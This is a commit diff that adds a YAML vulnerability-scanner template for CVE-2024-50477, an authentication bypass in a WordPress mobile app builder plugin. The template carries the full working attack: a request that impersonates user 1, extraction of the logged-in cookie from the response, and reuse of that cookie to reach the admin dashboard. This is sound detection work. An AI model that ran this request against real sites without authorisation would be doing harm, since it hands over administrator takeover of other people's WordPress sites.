Update CVE-2024-50477 template according to review guidelines

- Fix template ID to match CVE
- Add impact and remediation fields
- Add missing classification fields (cvss-metrics, cvss-score, epss-score, epss-percentile, cpe)
- Update tags to follow proper format (cve, cve2024)
- Add vendor/product metadata fields

http/cves/2024/CVE-2024-50477.yaml

@@ -0,0 +1,69 @@
+id: CVE-2024-50477
+
+info:
+  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass via Account Takeover
+  author: stealthcopter, vijay-sutar
+  severity: critical
+  description: |
+    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and impersonate arbitrary users, potentially gaining administrative access to WordPress installations.
+  remediation: |
+    Update the Stacks Mobile App Builder plugin to the latest version that addresses this vulnerability or remove the plugin if not actively maintained.
+  reference:
+    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-50477
+    cwe-id: CWE-639
+    epss-score: 0.00043
+    epss-percentile: 0.09677
+    cpe: cpe:2.3:a:wpstacksmobile:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: wpstacksmobile
+    product: stacks_mobile_app_builder
+  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,critical
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?mobile_co=1&uid=1"
+
+    redirects: true
+    cookie-reuse: true
+    max-redirects: 2
+
+    extractors:
+      - type: regex
+        name: auth_cookie
+        group: 0
+        regex:
+          - "wordpress_logged_in_[^=]+=[^;]+"
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/"
+    headers:
+      Cookie: "{{auth_cookie}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - "Dashboard"
+          - "Welcome to WordPress!"
+        condition: or
+
+      - type: word
+        part: header
+        words:
+          - text/html